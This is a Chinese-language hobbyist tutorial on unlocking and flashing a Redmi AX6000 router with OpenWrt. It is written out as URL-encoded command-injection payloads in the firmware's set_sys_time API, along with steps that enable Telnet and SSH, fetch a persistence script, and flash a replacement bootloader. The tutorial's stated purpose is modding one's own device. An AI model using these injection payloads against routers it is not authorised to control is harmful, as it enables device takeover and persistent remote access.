一直想嘗試玩玩軟路由,但是家裡實在沒有軟路由的需求,外加不知道該入手什麼機器來刷軟路由,所以遲遲沒有入手。最近研究生要開學了,但是學校的有線網要下載專用軟體認證才能上網,終於找到合適的理由入手一款軟路由了。經過一番搜尋,我決定入手 RedMi AX6000。
前置條件:一臺可以上網的舊路由器,一臺 RedMi AX6000,一臺電腦,網線若干。
開啟並固化 SSH、Telnet
-
連網線:RedMi AX6000 WAN 口連舊路由器,LAN 口連電腦。
-
進入路由器 Web 配置頁面 http://192.168.31.1 並設定密碼。
-
獲取 Token。重新進入 Web 配置頁面,登入後注意位址列會發生變化:
http://192.168.31.1/cgi-bin/luci/;stok=c3a966b62ce80d155df260e3e920c5cd/web/home#router
其中
;stok=
後面的部分c3a966b62ce80d155df260e3e920c5cd
就是我們本次登入的 Token。將 Token 複製下來。 -
開啟 Telnet。接下來我們要利用 URL 實現的命令注入攻擊在路由器上執行命令。
-
開啟除錯模式
要注入的命令:
zz=$(dd if=/dev/zero bs=1 count=2 2>/dev/null) printf 'ZZ%c%c' $zz $zz | mtd write - crash
攻擊 URL(將
{token}
替換為實際 Token):http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20zz%3D%24%28dd%20if%3D%2Fdev%2Fzero%20bs%3D1%20count%3D2%202%3E%2Fdev%2Fnull%29%20%3B%20printf%20%27%5A%5A%25c%25c%27%20%24zz%20%24zz%20%7C%20mtd%20write%20-%20crash%20%3B%20
如果網頁返回結果為
{"code":0}
,說明命令執行成功。 -
重啟路由器以應用更改
要注入的命令:
reboot
攻擊 URL(將
{token}
替換為實際 Token):http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
注意路由器重啟後舊的 Token 會失效。用之前的方法重新獲取新的 Token。
-
設定 Bdata 永久開啟 Telnet
要注入的命令:
bdata set telnet_en=1 bdata set ssh_en=1 bdata set uart_en=1 bdata commit
攻擊 URL(將
{token}
替換為實際 Token):http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3B%20bdata%20set%20telnet_en%3D1%20%3B%20bdata%20set%20ssh_en%3D1%20%3B%20bdata%20set%20uart_en%3D1%20%3B%20bdata%20commit%20%3B%20
返回結果應該為
{"code":0}
-
重啟路由器以應用更改
要注入的命令:
reboot
攻擊 URL(將
{token}
替換為實際 Token):http://192.168.31.1/cgi-bin/luci/;stok={token}/api/misystem/set_sys_time?timezone=%20%27%20%3b%20reboot%20%3b%20
-
-
開啟 SSH
-
使用 Telnet 登入路由器:
telnet 192.168.31.1
-
修改 root 帳戶密碼
echo -e 'your_password' | passwd root
-
固化 SSH:
nvram set ssh_en=1 nvram set telnet_en=1 nvram set uart_en=1 nvram set boot_wait=on nvram commit
-
設定 SSH 永久開啟:
mkdir /data/auto_ssh && cd /data/auto_ssh curl -O https://cdn.jsdelivr.net/gh/lemoeo/AX6S@main/auto_ssh.sh chmod +x auto_ssh.sh uci set firewall.auto_ssh=include uci set firewall.auto_ssh.type='script' uci set firewall.auto_ssh.path='/data/auto_ssh/auto_ssh.sh' uci set firewall.auto_ssh.enabled='1' uci commit firewall
-
關閉除錯模式:
mtd erase crash
-
重啟路由器:
reboot
-
刷不死 uboot
-
使用 SSH 登入路由器
ssh root@192.168.31.1
-
備份原廠資訊
dd if=/dev/mtd1 of=/tmp/mtd1_BL2.bin dd if=/dev/mtd2 of=/tmp/mtd2_Nvram.bin dd if=/dev/mtd3 of=/tmp/mtd3_Bdata.bin dd if=/dev/mtd4 of=/tmp/mtd4_Factory.bin dd if=/dev/mtd5 of=/tmp/mtd5_FIP.bin
-
下載備份到本地計算機
scp /tmp/mtd1_BL2.bin user@192.168.31.2:Downloads scp /tmp/mtd2_Nvram.bin user@192.168.31.2:Downloads scp /tmp/mtd3_Bdata.bin user@192.168.31.2:Downloads scp /tmp/mtd4_Factory.bin user@192.168.31.2:Downloads scp /tmp/mtd5_FIP.bin user@192.168.31.2:Downloads
-
上傳 uboot 檔案到路由器
scp mt7986_redmi_ax6000-fip-fixed-parts.bin root@192.168.31.1:/tmp
-
刷入 uboot
# 7610a1722073748c3c3a860b75d94d5d md5sum /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin # 擦除 FIP 中的內容 mtd erase FIP # 將 uboot 寫入 FIP mtd write /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP # 校驗 mtd mtd verify /tmp/mt7986_redmi_ax6000-fip-fixed-parts.bin FIP
刷入 OpenWrt 系統
-
設定電腦的靜態 IP 地址。在 uboot 模式下路由器無法提供 DHCP 功能,因此需要我們手動設定 IP 地址:
IP 地址:
192.168.31.2
子網掩碼:
255.255.255.0
閘道器:
192.168.31.1
-
路由器進入 uboot 模式:
拔掉路由器電源,用牙籤按住路由器 Reset 按鈕,接通路由器電源,15 秒後鬆開 Reset 按鈕,此時就進入了 uboot 模式。接下來開啟路由器 Web 配置介面 http://192.168.31.1 。
-
上傳 OpenWrt 韌體
選擇我們準備的 OpenWrt 韌體,點 Upload 上傳。整個過程會持續 1 分鐘左右。
上傳成功後路由器的 Web 配置介面會變為 http://192.168.6.1,使用者名稱
root
,密碼password
。此時我們就完成了整個刷機過程。
參考:
-
紅米 Redmi AX6000 開啟 SSH、Telnet 及 OpenWrt/LEDE 刷機教程,附件增加救磚工具跟 OP 韌體 | 恩山無線論壇
-
年度最具價效比路由器 RedMi AX6000 保姆級刷機教程 | 什麼值得買